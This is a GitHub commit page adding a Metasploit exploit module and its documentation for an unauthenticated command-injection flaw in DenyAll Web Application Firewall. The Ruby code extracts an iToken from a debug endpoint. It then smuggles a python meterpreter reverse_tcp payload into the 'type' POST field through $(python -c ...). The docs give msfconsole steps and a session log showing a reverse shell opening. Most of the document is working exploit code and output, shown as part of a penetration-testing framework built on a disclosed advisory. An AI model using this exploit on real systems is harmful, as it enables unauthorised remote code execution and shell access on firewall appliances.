Skip to content

Commit ddbff6b

Browse files
committed
Land rapid7#8980 unauth RCE for denyAll WAF
2 parents 9b12b2a + 3d543b7 commit ddbff6b

File tree

2 files changed

+150
-0
lines changed

2 files changed

+150
-0
lines changed
Lines changed: 47 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,47 @@
1+
## Vulnerable Application
2+
3+
This module exploits the command injection vulnerability of DenyAll Web Application Firewall. Unauthenticated users can execute a terminal command under the context of the web server user.
4+
5+
It's possible to have trial demo for 15 days at Amazon Marketplace.
6+
[https://aws.amazon.com/marketplace/pp/B01N4Q0INA?qid=1505806897911](https://aws.amazon.com/marketplace/pp/B01N4Q0INA?qid=1505806897911)
7+
8+
You just need to follow instruction above URL.
9+
10+
## Verification Steps
11+
12+
A successful check of the exploit will look like this:
13+
14+
- [ ] Start `msfconsole`
15+
- [ ] `use use exploit/linux/http/denyall_exec`
16+
- [ ] Set `RHOST`
17+
- [ ] Set `LHOST`
18+
- [ ] Run `check`
19+
- [ ] **Verify** that you are seeing `The target appears to be vulnerable.`
20+
- [ ] Run `exploit`
21+
- [ ] **Verify** that you are seeing `iToken` value extraction.
22+
- [ ] **Verify** that you are getting `meterpreter` session.
23+
24+
## Scenarios
25+
26+
```
27+
msf > use exploit/linux/http/denyall_exec
28+
msf exploit(denyall_exec) >
29+
msf exploit(denyall_exec) > set RHOST 35.176.123.128
30+
RHOST => 35.176.123.128
31+
msf exploit(denyall_exec) > set LHOST 35.12.3.3
32+
LHOST => 35.12.3.3
33+
msf exploit(denyall_exec) > check
34+
[*] 35.176.123.128:3001 The target appears to be vulnerable.
35+
msf exploit(denyall_exec) > exploit
36+
37+
[*] Started reverse TCP handler on 35.12.3.3:4444
38+
[*] Extracting iToken value from unauthenticated accessible endpoint.
39+
[+] Awesome. iToken value = n84b214ad1f53df0bd6ffa3dcfe8059a
40+
[*] Trigerring command injection vulnerability with iToken value.
41+
[*] Sending stage (40411 bytes) to 35.176.123.128
42+
[*] Meterpreter session 1 opened (35.176.123.128:4444 -> 35.12.3.3:60556) at 2017-09-19 14:31:52 +0300
43+
44+
meterpreter > pwd
45+
/var/log/denyall/reverseproxy
46+
meterpreter >
47+
```
Lines changed: 103 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,103 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
11+
def initialize(info={})
12+
super(update_info(info,
13+
'Name' => "DenyAll Web Application Firewall Remote Code Execution",
14+
'Description' => %q{
15+
This module exploits the command injection vulnerability of DenyAll Web Application Firewall. Unauthenticated users can execute a
16+
terminal command under the context of the web server user.
17+
},
18+
'License' => MSF_LICENSE,
19+
'Author' =>
20+
[
21+
'Mehmet Ince <[email protected]>' # author & msf module
22+
],
23+
'References' =>
24+
[
25+
['URL', 'https://pentest.blog/advisory-denyall-web-application-firewall-unauthenticated-remote-code-execution/']
26+
],
27+
'DefaultOptions' =>
28+
{
29+
'SSL' => true,
30+
'RPORT' => 3001,
31+
'Payload' => 'python/meterpreter/reverse_tcp'
32+
},
33+
'Platform' => ['python'],
34+
'Arch' => ARCH_PYTHON,
35+
'Targets' => [[ 'Automatic', { }]],
36+
'Privileged' => false,
37+
'DisclosureDate' => "Sep 19 2017",
38+
'DefaultTarget' => 0
39+
))
40+
41+
register_options(
42+
[
43+
OptString.new('TARGETURI', [true, 'The URI of the vulnerable DenyAll WAF', '/'])
44+
]
45+
)
46+
end
47+
48+
def get_token
49+
# Taking token by exploiting bug on first endpoint.
50+
res = send_request_cgi({
51+
'method' => 'GET',
52+
'uri' => normalize_uri(target_uri.path, 'webservices', 'download', 'index.php'),
53+
'vars_get' => {
54+
'applianceUid' => 'LOCALUID',
55+
'typeOf' => 'debug'
56+
}
57+
})
58+
59+
if res && res.code == 200 && res.body.include?("iToken")
60+
res.body.scan(/"iToken";s:32:"([a-z][a-f0-9]{31})";/).flatten[0]
61+
else
62+
nil
63+
end
64+
end
65+
66+
def check
67+
# If we've managed to get token, that means target is most likely vulnerable.
68+
token = get_token
69+
if token.nil?
70+
Exploit::CheckCode::Safe
71+
else
72+
Exploit::CheckCode::Appears
73+
end
74+
end
75+
76+
def exploit
77+
# Get iToken from unauthenticated accessible endpoint
78+
print_status('Extracting iToken value')
79+
token = get_token
80+
81+
if token.nil?
82+
fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
83+
else
84+
print_good("Awesome. iToken value = #{token}")
85+
end
86+
87+
# Accessing to the vulnerable second endpoint where we have command injection with valid iToken
88+
print_status('Trigerring command injection vulnerability with iToken value.')
89+
r = rand_text_alpha(5 + rand(3));
90+
91+
send_request_cgi({
92+
'method' => 'POST',
93+
'uri' => normalize_uri(target_uri.path, 'webservices', 'stream', 'tail.php'),
94+
'vars_post' => {
95+
'iToken' => token,
96+
'tag' => 'tunnel',
97+
'stime' => r,
98+
'type' => "#{r}$(python -c \"#{payload.encoded}\")"
99+
}
100+
})
101+
102+
end
103+
end

0 commit comments

Comments
 (0)